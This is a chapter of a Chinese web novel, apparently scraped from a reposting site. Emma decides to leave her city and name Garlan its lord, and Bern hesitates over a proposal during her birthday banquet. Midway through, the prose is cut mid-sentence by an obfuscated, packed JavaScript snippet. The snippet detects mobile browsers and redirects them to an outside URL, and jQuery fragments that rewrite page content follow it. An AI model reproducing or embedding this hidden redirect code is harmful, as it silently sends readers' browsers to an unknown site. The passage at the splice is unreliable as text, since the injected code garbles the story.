露台几乎整个在庭院里，与宴会厅相连的门掩上了，只有些交谈声隐隐传过来。


    上午的庭院里落满阳光和积雪，天空晴朗，风声干净。


    在艾玛身边，鬼魂的声音都会消匿。西里斯没有理由听错。


    因为太过熟悉，他还能清晰辨认出艾玛语气里的确定。


    这显然是个深思熟虑的结果，艾玛不会开这种玩笑。


    “我想我没有会错您的意思。”西里斯说，“抱歉，但我不太明白为什么要把这两件事连在一起说，听起来会显得这更像个一时冲动的……报复。”


    “两件事我都仔细考虑过，因为我觉得前一件事比较重要，需要更早告诉你。”艾玛说，“在知道这一点的前提下，你仍然会跟我一起离开吗？”


    “当然。”西里斯的语气平静而没有半点犹豫，“我的性命是您的。您去哪里，我会跟到哪里。”


    艾玛说：“你比我想象里更加冷静。”


    “这座城市还是太狭窄了，即使加上这个国家也一样，远远装不下一位女巫的心。您早就产生了犹豫，我能看出来。”西里斯淡淡道，“说回来，您那‘第一个愿望’，本来也不是您的风格。”


    “嗯。那是我对他人愿望的……模仿。”艾玛笑着，垂下了眼睛，“我的父亲以前总是说，等他赚到足够多的钱，就要去买下贵族的姓氏和爵位，过上等人的生活。我不能理解，无法想象。可我认识的所有人都觉得这是个理所当然的愿望，好像所有人的生活都是为了这个相同的目的。我想，可能是我比较笨一点，所以不明白。”


    “即使遇到从天而降的恶魔，我也不知道能拿自己的灵魂交换什么。我没有特别想要的东西。所以我想起了那个‘别人的愿望’。我以为，只要时间够长，我就能理解他们的向往。可在愿望实现之后……我才越来越清晰地明白：这不是我想要的东西。”


    艾玛笑笑：“很不成熟的想法。我总是不明白自己的心情，做出错误的选择。直到现在，我也并不明确自己想要追求的是什么。但我想要离开这里，去其他地方旅行，去见我从前所未见，体验我没有尝试过的事情。只有这份决心是确定的。”


    “有时候放弃比坚持更需要勇气。您做出了选择。”西里斯说。


    “在这一点上，我更应该对你道歉。这几年里，你对这座城市付出的时间和精力远比我要多，对未来做了很多布置打算。我作出放弃的决定，也等同浪费了你的用心……对不起。”


    “请不必介怀，我不在乎消磨掉的这一点时间。我做这些，只因为‘那是您的愿望’。如果您不再需要，及时停止就可以。”西里斯想了想，“那么，从哪里开始呢？您应该预想过离开之后，要留下怎样一座城市吧？”


    艾玛点头，没什么犹豫地说：“我希望，嘉兰能成为这里的领主。”


    “很合适的选择。”西里斯毫不意外。


    “但不会容易，好像又给你出了难题。”


    “比起另外寻找合适的人选，选她反而轻松多了。”西里斯思考了片刻，“嘉兰那边，我会向她解释。离开的决定肯定得事先告知她。除此之外，您还打算提前告诉其他人吗？”


    “我会找时机跟雪莉和莫妮卡说，凯和迪尔知道也没关系。”


    “您有带他们离开的打算？”


    艾玛摇摇头：“他们生活在这里，家人朋友都在这座城市，跟我离开对他们没有意义。只是我想告诉他们。其他人不用特意说明，等到合适的时机，可以用‘我恢复了记忆，想要离开这里寻找家人’作为理由。”


    “我明白了……那么，您想要什么时候离开？”


    “不那么着急，我有很多课还没上完。既然决定去旅行，应该提前准备，再针对性地学一些东西。”艾玛算了算时间，“大概一两年吧，作为留给你收尾的时间，这足够吗？”


    “足够了。”西里斯想了一会儿，“我大概知道该怎么做了。今天的宴会还没结束，您等会儿还有的忙，就先别想这么多了。之后有时间，我会和您确认其他细节。”


    “好。”艾玛说，“需要我许下第二个愿望吗？”


    “不必了。您许下第一个愿望的时候才十二岁，要求当时的您考虑全面本就强人所难。这次收尾是无偿售后。只要您确定不撤销这次的要求就行。”


    艾玛低低地笑了：“如果恶魔真的像你这样做生意，肯定会亏本吧。”


    “幸好我不是真正的恶魔。”西里斯耸了耸肩，“但契约真实无误。即使您不作任何要求，我也会陪同您去旅行。”


    他的口吻变得更认真，强调般加重了语气：“请谨慎对待您的第二个愿望，不要轻易使用它。”


    西里斯以前也说过类似的话。除了最早订立契约和第一次许愿的时候，他后来对契约和许愿的规则做过些补充强调，大概是担心艾玛当初没听明白。


    艾玛点点头。


    “那么，我先回去了。您如果想在这里继续休息，请注意时间。”


    “嗯，我知道。”


    西里斯走到露台门边，迟疑了一下，回过身：“——这是我个人的好奇。在我看来，您早就对那个愿望是否符合您的期望产生了犹豫和动摇。时间越长，您在这里投入得越多，想要放弃也就越困难。我有点想知道，是什么让您下定了决心？”


    艾玛望着他，很慢地眨了眨眼睛。


    “因为……在我尝试理解什么是‘喜欢’的时候，我终于理解了自己的心情。”她抚上自己的心口，“它前所未有强烈，比其他感情都更加明晰。这对我来说很……新奇。通过了解自己的情绪，我好像也更加理解了‘我自己’。”


    “所以我真的很感谢，能够让我体会到这种感情的你。”


    啊，西里斯想，不该多问的。


    嘉兰见到西里斯走过来的时候，她正在跟女佣谈话。在确认了今天晚餐的菜谱也没有问题之后，她示意对方先行离开。


    女佣看得懂气氛，向两人告辞后便匆匆走了。


    她看西里斯脸色有点奇怪，扬扬眉毛，还没来得及调侃什么，西里斯端着一张面无表情的脸，开门见山地问：“你想当领主吗？”


    嘉兰愣了三秒。


    在这三秒里，她首先从那仿佛回到他们认识没多久时互相怀疑的气氛中回过神来，认为这并不是一句对她野心的试探。


    其次，这既不像闲话家常更不像玩笑，也不像听了什么谣言对她的质问，更像平时西里斯问她“这事要不交给你做”的口吻。


    最后，嘉兰是真心喜欢艾玛，甚至认真地想过并感慨，有这样的领主和上司很好。


    她对西里斯虽然心情复杂，但是想到将来有很久还会跟这个既可靠又气人的家伙一起工作，又有一些复杂的释然，认为这样的未来或许也不错。


    综上所述。


    三秒之后，嘉兰的眼神缓缓犀利了起来，冰冷地看着西里斯说：“叛徒。”


    在跟艾玛平静地确认了诸多事项，离开她有好一会儿之后的此刻，西里斯才感到了姗姗来迟的头疼。


    好吧。他想，做出行动总是最麻烦的，这才刚刚开始呢。


    宴会要办上一整天，让客人一天的时间都在厅里聊天吃点心自然太闷了。有的人喜欢拉一桌打牌下棋，也有人借用城堡里的房间娱乐和休息，更有许多从外地来的客人会在城里先晃上一天，傍晚才赶来参加晚宴。


    邻近傍晚的时候，客人逐渐多起来。


    艾玛和一些客人们在一楼待客的书房，说是书房，更像专供举办沙龙的房间。布置得很考究，墙上挂着油画，留声机上转着悠扬低沉的慢歌。


    聚在一起聊天的客人时不时发出一阵笑声。他们在说什么，伯恩都没听进去。


    他靠在窗边放花盆的桌子旁，双手放在口袋里，看起来在想什么事情。


    伯恩放在左边口袋里的手碰着戒指盒，拿起，又松开，反反复复。


    他一开始还在数留声机的曲子放到了第几个乐章，后来已经完全忘了这回事。


    他看到窗外太阳正在缓慢落下去，夜晚正在到来。


    伯恩想起晚宴，想起第一支舞，更感到心烦意乱。


    贵族社交界的礼仪中，除非双方达成过一致，或求婚者有足够的确信，否则不会在公开场合当众求婚。如果被拒绝，丢的是家族的面子，更甚者会导致两方结仇。


    艾玛再次拒绝他的概率有八成……不，九成可能还低了吧。但那一点侥幸仍然不依不饶地诱惑着他。


    得找到机会，在独处的时候告白。


    要找个自然的借口，不能做得太明显，否则同一个圈子的人，大家一眼就能看出他是要把人叫出去私下求婚。


    伯恩最不擅长想这种事。


    他不擅长撒谎，不擅长编借口，还要找个自然的理由。


    心虚、不安、期待和焦虑缠绕着他，那首慢节奏的曲子听来都令人忐忑。


    所以他没注意到房间里的人声突然小下去，没注意到有人走到自己身边，直到熟悉的声音让他一个激灵。


    “伯恩？”艾玛站在他面前，话音里带了点关切，“你看起来不太好。”


    “啊，呃……没、没什么。”伯恩摸了摸鼻子，生硬地扯了个谎，“我在想……领地还没完成的工作。”


    艾玛点点头，很理解：“马上入春了，希格米莱一定有很多事情要忙，你特意抽空赶来参加我的生日宴会，谢谢你。”


    伯恩差点咬了自己的舌头，反应过来自己借口找得不好。


    特意从其他城市赶来参加别人的生日宴会，然后在角落想工作？听来像是指责主人办的宴会无趣，或者抱怨自己受了冷落。


    但艾玛的语气里没有责难，顺着刚才的话题自然地问了起来：“费拉约尔斯这两天下了雪，不知道希格米莱怎么样。快到适合播种的时间了，希望你们那里不要受到这阵低温的影响。”


    这话题用不着编造答案，伯恩自然地接上了：“希格米莱还好，只是这两天稍微降了点温，没有下雪。播种的准备在正常推进，谢谢你的关心。”


    两月底是天气由寒转暖开始入春的时候，希格米莱的特色是品类众多的水果，也连带了水果衍生的各种产品。由于伊克里尼伯爵的个人嗜好，这几年希格米莱的果酒行业欣欣向荣。


    在希格米莱，种植的春天和收获的秋天是最忙碌的，但现在天气还冷，在准备工作阶段，没有那么多工作非交给伯恩这个继承人不可。


    比起工作，伊克里尼伯爵更操心他的婚姻大事，送伯恩出门的时候恨不得自己也一起过来。


    伯恩觉得，父亲就是爱看热闹，连看儿子的感情笑话也一样。


    伯爵知道他上次求婚失败的事，装作很为儿子伤心——伯恩觉得他不是真伤心，只拿这事当借口拖着儿子大喝一顿，母亲顾及情场失意的儿子还不好拦。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16070725|175926||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>今天要是再失败，怕是还有这么一顿——伯恩记得父亲藏了几瓶好酒，送他出门时那期待的眼神，怕是成了回去庆功，失败回去借酒浇愁，伊克里尼伯爵左右是不亏的。


    他很为父亲的豪放头疼叹气，有时候却也因为他这样的个性而安心。


    伯恩的手仍然放在口袋里，手指划过戒指盒，那些不安的情绪阵阵掠过他心头。


    如果再次失败……伯恩想，或许他确实需要父亲的酒也说不定。


    “对了——我已经准备好了揽花节的邀请函。”艾玛想起了什么，“按惯例，庆典仍然在今年五月。届时，希格米莱的事务想来能告一段落，不知道伊克里尼伯爵有没有空赏光？这几年受了伯爵诸多照顾，但我们一直没有见过面，我应该当面谢谢他。”


    伯恩眉毛抖了抖：“他……五月下旬大概能有空，得之后再确认具体的日程。父亲对费城的揽花节很有兴趣，他要是听到你这么说，一定很高兴。”


    “太好了。我本来想把邀请函寄到希格米莱，但难得你今天亲自过来一趟，我想，亲手交给你更有诚意。”艾玛微笑，“我把邀请函放在了办公室。看你在这里待着有点闷，不然趁这个机会，我们出门走走吧？”


    伯恩一愣，心跳加快。


    艾玛作出这邀请显然是在顾及他的情绪，但这是个绝好的独处机会，甚至用不着伯恩再找什么借口。


    他强自镇定地答应下来，却立刻感到紧张，握紧了口袋里的戒指盒。


    艾玛向书房里的客人们打了个招呼，带着伯恩出去了。


    客人间交换了眼色，大多也是记得去年的第一支舞，认为伯恩很有机会，书房里弥漫开一种暧昧的默契。


    伯恩无暇在乎那些误会，跟着艾玛有些僵硬地走了出去。


    伯恩对城堡一楼的办公室很熟悉，但艾玛领的路却从一楼办公室前绕了过去。


    他愣了愣神，一时脑内又闪过八百种想法。


    “那个——艾玛，”伯恩还是问道，“办公室不是刚才那个方向？”


    艾玛回过头，笑了笑：“啊，我放在三楼的办公室了，要麻烦你陪我走走楼梯。这会儿可能有女佣在打扫，你别见怪。”


    伯恩面上没有多少变化，手却紧张得快把戒指盒捏开了，脑内一片浆糊。


    三楼是领主的私人领域，那层楼的办公室是领主独处办公用的，一般客人即使有要事来访，也不能去三楼打扰，需要佣人转告。


    伯恩此前还没有去过艾玛三楼的办公室，一时觉得这或许是什么成功的预兆，又因为惊喜来得太突然反而不知所措。


    但伯恩这一年来毕竟是进步了。如果是去年的他，恐怕现在就要在楼梯口不管不顾地当场下跪拿出戒指，但这一年到底给了伯恩不同的视角，让他能用更冷静和客观的目光看到一些别的东西。


    伯恩从自己主观的期望和恋慕里稍稍脱出身来，感到一点微妙的脱节。


    艾玛走在他前面，正拾级踩上楼梯，腰后装饰的缎带水母一样轻盈地跃动。


    伯恩后知后觉地意识到，叫住她：“艾玛？”


    艾玛停下脚步，回过头，脸上仍然带着笑。


    啊，伯恩想道，不是错觉，艾玛笑起来和平时不太一样，没有那么多出于礼貌的感觉。从书房出来后，更是肩膀也放松了，显得异常轻快。


    伯恩惯例会自作多情，以为这变化是自己的缘故。但他今天莫名不这么想。


    一种奇怪的感觉把他紧张的心跳都压了下去，只是仍然时不时心悸般震一下。


    “你今天，是不是心情特别好？”伯恩试探地问。


    艾玛展了展眉眼：“是啊。被你看出来了。”


    “发生了什么好事吗？”


    阶梯边靠着扇窗，艾玛从窗口望出去，天空已经暗了一半，城堡亮起了宴会的灯火，天际只剩一线橙红的残阳。


    艾玛的眼睛是明亮的，像夜晚柔和的月亮。


    “有一件想了很久的事，我终于下定了决心。因为对未来的迷茫和恐惧，我在原地停了很久，今天终于迈出了第一步。虽然未来还有更多困难，我应该是不安的，也值得为此忐忑，可是……我又真的很高兴。”


    她望着并不确定的远方，笑着说：“是啊……这应该是很好的事吧。”


    伯恩望着她，想，他从未见过这样的艾玛。


    他也从来不知道，一直平静、温柔，好像没有任何困惑和不安的艾玛，也会感到迷茫恐惧，就像个普通的女孩。


    但伯恩没有觉得这拉近了他和艾玛的距离，他望着和自己只相隔几阶的艾玛，忽然感到一种异样的遥远。


    有一个像在梦里回荡的朦胧声音对他说：你其实知道，你并不真正了解她。


    伯恩愣了一会儿，艾玛已经在接着往上走了，螺旋的阶梯载着她向上，向上。


    他迟了片刻才跟上她上行的脚步，在艾玛刚刚停驻的窗前顿了顿，望出去。


    伯恩看到走过的宾客，草地树枝上的积雪，远一些城市里的灯光和炊烟。


    天暗下来了。他想，他大概没有跟艾玛看见相同的东西。


    伯恩只停了一会儿。他从口袋里抽出手，握上楼梯的扶手。


    伯恩没有那么怕冷，但手在口袋里放久了，拿出来多少有一会儿不适。他很快适应了这初春的温度，步伐和身形都放松下来。


    戒指盒安静地躺在口袋里，不言不语。